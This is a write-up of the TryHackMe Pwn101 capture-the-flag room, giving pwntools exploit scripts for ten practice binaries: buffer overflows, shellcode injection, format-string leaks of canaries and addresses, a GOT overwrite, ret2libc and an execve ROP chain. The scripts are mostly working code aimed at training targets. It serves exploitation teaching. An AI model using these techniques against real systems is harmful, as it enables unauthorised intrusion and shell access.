Pwn101 - TryHackMe CTF Write-up
CTF link:
This medium level CTF covers these topics:
- Buffer overflow
- Modify variable’s value
- Return to win
- Return to shellcode
- Integer Overflow
- Format string exploit
- Bypassing mitigations
- GOT overwrite
- Return to PLT
- Playing with ROP
Tools
- Python2.7 (not python3 or higher)
- Pwntools
- GDB (I am using pwndgb check ‣)
- Radare2
- IDA
Challenge 1 - pwn101
When we execute given file which will be working on given ip’s port 9001 waits an input.
We check gdb, we see “$rbp-4” already set 0x539 and there checks its value. If we couldn’t change the value of “$rbp-4” program doesn’t jump to system call. We want this program jumps system call and give us “/bin/bash”. So we have to overwrite “$rbp-4” and change it to another value. “A” is good.
Then we do the same on server.
python -c ‘print ("A"*100)’
Challenge 2 - pwn102
When we execute given file which will be working on given ip’s port 9002 waits an input.
We check gdb and see these two cmp processes, they compare datas already set on the beggining of dump. If we couldn’t change the value of “$rbp-4” and “$rbp-8” program doesn’t jump to system call. We want this program jumps system call and give us “/bin/bash”. So we should overwrite rbp and change “$rbp-4” to “0x0ff33” and “$rbp-8” to “0xc0d3”.
First we should see which char overflows buffer and overwrites onto rbp. We can create a string with cyclic and give it to program while we controlling processes with gdb. To do this we should create a breakpoint at first cmp.
cyclic 200
We let run the program and gives cyclic output as input. When program hits our breakpoint we check the value of “$rbp-4”.
x/s $rbp-4
cyclic -l caab
We can understand this 108 char will fill the buffer and overwrite “$rbp-4”. But $rbp-8?
$rbp - 4 = 108
$rbp - 8 = 104
So our exploit is gonna be:
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
exe = './pwn102.pwn102'
context.binary = ELF(exe,checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE: # Runs on remote server, usage "python2.7 code.py REMOTE ip port"
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Runs locally, usage "python2.7 code.py"
return process([exe] + argv, *a, **kw)
exploit = b''
exploit += b"\x90"*104 # we fill the buffer
exploit += pack("<I", 0xc0d3) # we overwrite $rbp-8
exploit += pack("<I", 0xc0ff33) # we overwrite $rbp-4
#If you want to see what we wrote uncomment next two lines
#f = open("input.txt", "wb")
#f.write(exploit)
io = start()
io.sendline(exploit)
io.interactive()
We execute our python code locally and check if it works.
python2.7 code.py
It works, now try it on the remote server.
python2.7 code.py REMOTE ip port
Challenge 3 - pwn103
When we execute given file which will be working on given ip’s port 9002 runs a interfice like discord server.
We check what functions included in this program with gdb and see there is a admins_only function with system call which is we looking for.
info functions
When we create a string with cyclic and try to inflate buffer we see 40 char is enough. Then we write our admins_only’s adress and try to exploit. It works on local but without this command line it does not work on remote server: “exploit += p64(0x401016)”
Why? Because of MOVAPS issue. Check this writeup section to understand this.
DEF CON CTF Qualifier 2015: r0pbaby write-up - Peilin Ye’s blog
To fix MOVAPS issue we have to write like this
“ret retgadget admins_only”
instead of
“ret admins_only”
Because MOVAPS issue you should find ret’s address from
objdump -d ./pwn103.pwn103
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
elf = ELF('./pwn103.pwn103')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([elf] + argv, *a, **kw)
io = start()
exploit = b''
exploit += b"\x90"*40
#exploit += pack("<I", 0x401016)
#exploit += pack("<I", 0x0000000000401554)
exploit += p64(0x401016)
exploit += p64(elf.symbols['admins_only'])
print(io.recv().decode('utf-8'))
io.sendline('3')
print(io.recv().decode('utf-8'))
io.sendlineafter(b"[pwner]:",exploit)
print(io.recv().decode('utf-8'))
io.interactive()
Challenge 4 - pwn104
When we execute given file which will be working on given ip’s port 9004 waits an input.
What is this? We should check ghidra to understand what happens here. Probably buffer overflow. Also when we look at “checksec pwn104.pwn104” we see NX disabled.
No eXecute (NX Bit)
The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they’ve stored on the stack or in a global variable.
80 byte allocated for local_58 but at the end of the decompiled code we see that read function takes 200 byte. This gives us exploitation advantage: buffer overflow
When we consider that NX is disabled we can execute a shell code with buffer overflow.
We find how much character infilate the buffer. Then we write the exploit.
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
exe = './pwn104.pwn104'
context.binary = ELF(exe,checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# check exploit-db for shellcode https://www.exploit-db.com/exploits/46907
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io = start()
io.recvuntil(b'at ') #program gives us buffer location, we skip till that part
address = io.recvline()
bufferLocation = p64(int(address, 16))
exploit = b''
exploit += shellcode
exploit += b"\x90"*(88-len(shellcode))
exploit += bufferLocation
io.sendline(exploit)
io.interactive()
Challenge 5 - pwn105
After some tries we got the shell
You can say you tried something and find the correct numbers. It is true but I know that simple integer overflow can be done here as we know interger has range (-2,147,483,647 to 2,147,483,647) if we give the highest value and add something to it, the sum will go to the opposite side that is negative one. 2,147,483,647 is 01111111111111111111111111111111 and it’s the biggest positive number that will fit in 32 bits when using the “two’s complement” notation. So when we add 1 number becomes negative.
Challenge 6 - pwn106
We check gdb,r2 and cutter. We are looking for system call or hidden flag in stack. After wasting time with gdb and r2, cutter gives us what we want.
We see that there is redacted flag there and there is a format string vulnerability. Program takes input and directly, without controlling print it back. Here is programmer doesn’t specify format specifier we can provide our own format specifier to leak values from the stack.
Some brute force actions we found right order of hex codes and reverse unhexed values and get the flag.
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
exe = './pwn106user.pwn106-user'
context.binary = ELF(exe,checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
payload = b"%6$lX.%7$lX.%8$lX.%9$lX.%10$lX.%11$lX"
io = start()
io.recv()
io.recv()
io.sendline(payload)
output = io.recv().strip().split(b" ")[1].split(b".")
flag = ""
for word in output:
decoded = unhex(word.decode("utf-8"))
reverse_decoded = decoded[::-1]
print(str(reverse_decoded.decode("utf-8")), end ="")
Challenge 7 - pwn107
We see that stack canary is found, No eXecute bit enabled and also PIE is enabled. This means we have to careful about buffer overflowing and when we want to find the addresses we can not do it staticly. What I mean is we have to leak stack canary data and dynamic base address of library.
We see that canary stack protection is enabled. We have format string vulnerability, so we can leak datas on stack where return address and stack value already written. So we gonna leak canary value and bypass canary protection. But how we know where is the canary value? We check radare2:
r2 pwn107.pwn107
aaa
afl
pdf @ main
As we can see canary value stored at @ rbp-0x8
We gonna put 2 breakpoints to vulnerable function and next one to see what is actually printing. After that we gonna run program and check the stack.
We know that rbp-0x8 is canary value so we print stack.
pxr @ rsp
We can not copy and use canary value we found because this value changes dynamicly, we gonna leak this value. So we have to detect canary value’s location. Our canary value is located at input+7.
Also we need libc library location to detect base address of library. Offset doesn’t change, so when we get the dynamic location of libc and static location of libc we can find base address of library. And when we got the base address, we can add the static offset of get_streak function and calculate the dynamic location of get_streak function.
dynamic_libc - static_libc = base address
base address + static_get_streak = dynamic_get_streak
We have to use these range of libc addresses because our libc function should return to the binary itself.
We found it. Our static libc location is at input+4.
Now we gonna leak input’s location and write the exploit. We are looking for 41 values in leaked datas.
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
exe = './pwn107.pwn107'
binary = context.binary = ELF(exe,checksec=False)
static_libc_address = binary.symbols.__libc_csu_init
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
io = start()
io.recvuntil(b"streak?")
#input location = %6$p
#libc location = input+4 = %10$p
#canary location = input+7 = %13$p
payload = b""
payload += b"%10$p.%13$p" #here we leak
io.sendline(payload)
io.recvuntil(b"streak:")
output = io.recv().split(b"\n")[0]
dynamic_libc_address = int(output.split(b".")[0].strip(), 16)
canary = int(output.split(b".")[1].strip(), 16)
dynamic_base_address = dynamic_libc_address-static_libc_address
binary.address = dynamic_base_address
dynamic_get_streak = binary.symbols.get_streak
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
payload = b""
payload += b"\x90" * 0x18+ p64(canary) + b"\x90"*8 + p64(ret_gadget) + p64(dynamic_get_streak)
io.sendline(payload)
io.interactive()
We got it (locally), then try it on remote server (fingers crossed). And got it.
Challenge 8 - pwn108
Here we see format string vulnerability.
Using a format string we overwrite the GOT (Global Offset Table) on a non-PIE binary.
We replace the address of puts() in the GOT with the address of the hidden function holidays().
- We inject in the first buffer the address of puts() in the GOT
- We use %
s to make printf() print <address of holidays()> bytes. - With %6$lln we overwrite the address of puts() in the GOT with the address of holidays(). We know the latter because the binary is not a PIE.
- %6$lln writes the number of bytes written so far for the format string in the variable pointed by the positional parameter. 6 is for using the address stored in the first buffer, which points to puts() in the GOT
#!/usr/bin/env python
import sys
from pwn import *
from struct import *
exe = './pwn108.pwn108'
binary = context.binary = ELF(exe,checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
io = start()
puts_got = binary.got['puts']
holiday = binary.symbols['holidays']
io.recvuntil(b"name]: ")
io.sendline(p64(puts_got))
io.recvuntil(b"No]: ")
io.sendline(b"%" + str(holiday).encode("utf-8") + b"s%6$lln")
io.interactive()
Challenge 9 - pwn109
No PIE and no stack canary good news. We can not execute shell with shellcode because NX is enabled.
When we overflow buffer we see that “aaal” overwritten on return address. Offset is 44-4= 40 because of “aaal” is detected when “l” appears, “l” is located at 44 but “aaal” located at 40.
We have only one shot, it should be the head-shot, right? No not right, we can manipulate it to get more shots. ROP chain is our friend which gives us one more chance. We gonna follow this way:
ret → pop rdi ; ret → leak put’s address → print leaked address → call main again
We need to know “ret” (normally we don’t need to specify another ret but MOVAPS issue…) and “pop rdi” gadget’s locations. We can check them with ROPgadget and grep.
ROPgadget --binary pwn109.pwn109 | grep "ret"
ROPgadget --binary pwn109.pwn109 | grep "pop rdi ; ret"
We can write the exploit but there are custom characters and we need to know their hex values. Because we gonna use them in io.recvuntil(). With these lines of code we found hex value of that emoji.
There is a problem about libc. We exploit this binary in local with our libc but target machine runs different libc. We need to know which libc version the target uses but we can not ask the target machine “Hey, which libc version do you use”. We have to make a guess thanks to this website:
We gonna download this libc and use it. We write our exploit and done.
import sys
from pwn import *
from struct import *
exe = './pwn109.pwn109'
binary = context.binary = ELF(exe,checksec=False)
libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
# libc = binary.libc # use it locally
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
io = start()
RET = 0x40101a # for stack alignment
POP_RDI = 0x4012a3
exploit = b""
exploit += b"\x90"*40
exploit += p64(RET)
exploit += p64(POP_RDI)
exploit += p64(binary.got['puts']) # the address of got puts is the parameter
exploit += p64(binary.plt['puts']) # call puts via plt
exploit += p64(binary.sym['main']) # return address (will be popped into eip when printf returns)
io.recvuntil(b'Go ahead \xf0\x9f\x98\x8f')
data = io.recvline()
io.sendline(exploit)
puts_leak = u64(io.recv(6) + b'\x00\x00')
# log.success(f'LIBC base: {hex(puts_leak)}') # uncomment this to detect target's libc version
libc.address = puts_leak - libc.sym['puts'] # comment this when you try to find libc version
log.success(f'LIBC base: {hex(libc.address)}') # comment this when you try to find libc version
rop = ROP(libc)
rop.call(rop.ret) # Stack align with extra 'ret' to deal with movaps issue
rop.system(next(libc.search(b'/bin/sh')), 0, 0)
io.recvuntil(b'Go ahead \xf0\x9f\x98\x8f')
io.recvline()
io.sendline(b'\x90'*40 + rop.chain())
io.clean()
io.interactive()
Challenge 10 - pwn110
This means this program’s library is static not dynamic, we don’t have control over the library. But we can overflow the buffer.
When we overflow buffer we see that “aaal” overwritten on return address. Offset is 44-4= 40 because of “aaal” is detected when “l” appears, “l” is located at 44 but “aaal” located at 40.
We can overflow the buffer, in this case we can force the program to call execve() passing /bin/sh to it or the stack is not executable (NX). We can use ROP to call the mprotect() syscall to make it executable. We will use Method 1: fun with execve() [not torture with mprotect()]
Method 1: fun with execve()
First we have to write “/bin/sh” to .bss, because we need /bin/sh command to execute shell.
In computer programming, the block starting symbol (abbreviated to .bss or bss) is the portion of an object file, executable, or assembly language code that contains statically allocated variables that are declared but have not been assigned a value yet. It is often referred to as the “bss section” or “bss segment”. credit: https://en.wikipedia.org/wiki/.bss
All explanations on the code comments.
import sys
from pwn import *
from struct import *
exe = './pwn110.pwn110'
binary = context.binary = ELF(exe,checksec=False)
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
io = start()
rop = ROP(binary)
pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
pop_rsi = rop.find_gadget(["pop rsi", "ret"])[0]
pop_rdx = rop.find_gadget(["pop rdx", "ret"])[0]
mov_rdi_rdx = 0x4340a3 # mov qword ptr[rdi], rdx; ret;
syscall = rop.find_gadget(["syscall", "ret"])[0]
exploit = b""
exploit += 40 * b"A"
# write filename (-> /bin/sh) to .bss
exploit += p64(pop_rdi) # pop rdi <- .bss
exploit += p64(binary.bss())
exploit += p64(pop_rdx) # pop rdx <- /bin/sh
exploit += b"/bin/sh\x00" # \x00 for complete it to 8 byte
exploit += p64(mov_rdi_rdx) # mov qword ptr[rdi], rdx
# we wrote /bin/sh to .bss with moving rdx (/bin/sh) to rdi's pointer (memory of .bss)
exploit += p64(pop_rsi) # rsi = 0
exploit += p64(0)
exploit += p64(pop_rdx) # rdx = 0
exploit += p64(0)
exploit += p64(pop_rax) # rax = 59 (execve's syscall code)
exploit += p64(59)
exploit += p64(syscall) # syscall
# we call syscall with parameter 59 which is execve
# execve is gonna execute execve(rdi,rsi,rdx)
# What it means? Rewrite with parameters inside registers
# ----------------------> execve("/bin/sh", 0 , 0)
# Now program is going to execute /bin/sh
io.sendline(exploit)
io.interactive()